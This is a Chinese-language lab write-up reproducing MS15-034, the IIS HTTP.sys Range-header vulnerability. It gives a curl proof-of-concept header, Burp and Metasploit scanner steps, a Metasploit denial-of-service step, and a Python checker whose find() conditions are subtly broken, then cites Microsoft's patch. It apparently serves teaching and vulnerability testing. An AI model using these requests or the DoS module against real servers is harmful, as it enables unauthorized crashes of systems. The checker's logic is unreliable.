一、漏洞描述
HTTP协议栈(HTTP.sys)存在远程代码执行漏洞,是由于HTTP.sys不正确的解析HTTP请求引起的,成功利用此漏洞的攻击者可以执行系统账户上任意代码。
攻击者必须发送一个HTTP请求到受影响的系统去触发这个漏洞,通过修改Windows HTTP栈处理请求更新漏洞地址。
主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。
二、本次复现漏洞环境
靶机:Windows Server 2008
攻击机:Kali
三、漏洞验证
方法一:curl语法验证
(1)查看能否访问目标URL
(2)使用curl poc验证
curl http://192.168.208.142/iisstart.htm -H "Host: 192.168.208.142" -H "Range: bytes=0-18446744073709551615"
(3)查看结果
如果出现416和Requested Range Not Satisfiable,则证明存在漏洞,反之,则不存在
方法二:Burpsuite验证
在请求包中添加一行:Range: bytes=0-18446744073709551615
判断方法同上
方法三:使用MSF验证
(1)kali打开msf:
msfconsole
(2)在msf中搜索利用模块:
search MS15-034
或
search CVE-2015-1635
(3)选择payload模块,带有sanner的是验证模块,带有dos的是攻击模块:
use 1
(4)设置目标IP:
set rhosts xxx.xxx.xxx.xxx
注:端口号如果非80,还要修改端口号
出现如下所示表示不存在:
方法四:python poc脚本
(1)脚本代码
import requests
import sys
try:
print("正在测试http请求,请稍等...")
url = "http://" + sys.argv[1]
req = requests.get(url,timeout=5)
target_server = req.headers['Server']
if target_server.find("IIS"):
payload = {"Range": "bytes=0-18446744073709551615"}
req2 = requests.get(url, headers=payload)
#print(req2.text)
#print(req1.request.headers) # 输出自定义的头部信息
if str(req2.content).find("Requested Range Not Satisfiable"):
print("-------------------存在MS15-034漏洞-------------------")
print("漏洞URL:"+url)
else:
print("Waring:不存在MS15-034漏洞")
print("如有疑问,请手工测试...")
else:
print("-------------------服务器不是IIS-------------------")
except:
try:
print("http请求失败,正在测试http请求,请稍等...")
url2 = "https://" + sys.argv[1]
req = requests.get(url2, timeout=5)
target_server = req.headers['Server']
if target_server.find("IIS"):
payload = {"Range": "bytes=0-18446744073709551615"}
req2 = requests.get(url2, headers=payload)
# print(req2.text)
# print(req1.request.headers) # 输出自定义的头部信息
if str(req2.content).find("Requested Range Not Satisfiable"):
print("-------------------存在MS15-034漏洞-------------------")
print("漏洞URL:" + url2)
else:
print("Waring:不存在MS15-034漏洞")
print("如有疑问,请手工测试...")
else:
print("-------------------服务器不是IIS-------------------")
print("-------------------目标无法连接-------------------")
except:
print("-------------------服务器不是IIS-------------------")
(2)测试
四、漏洞攻击
选择之前搜索到的dos模块:
use 0
五、漏洞修复
Microsoft已经为此发布了一个安全公告(MS15-034)以及相应补丁:
MS15-034:Vulnerability in HTTP.sys Could Allow Remote Code Execution (3042553)
链接:http://technet.microsoft.com/security/bulletin/MS15-034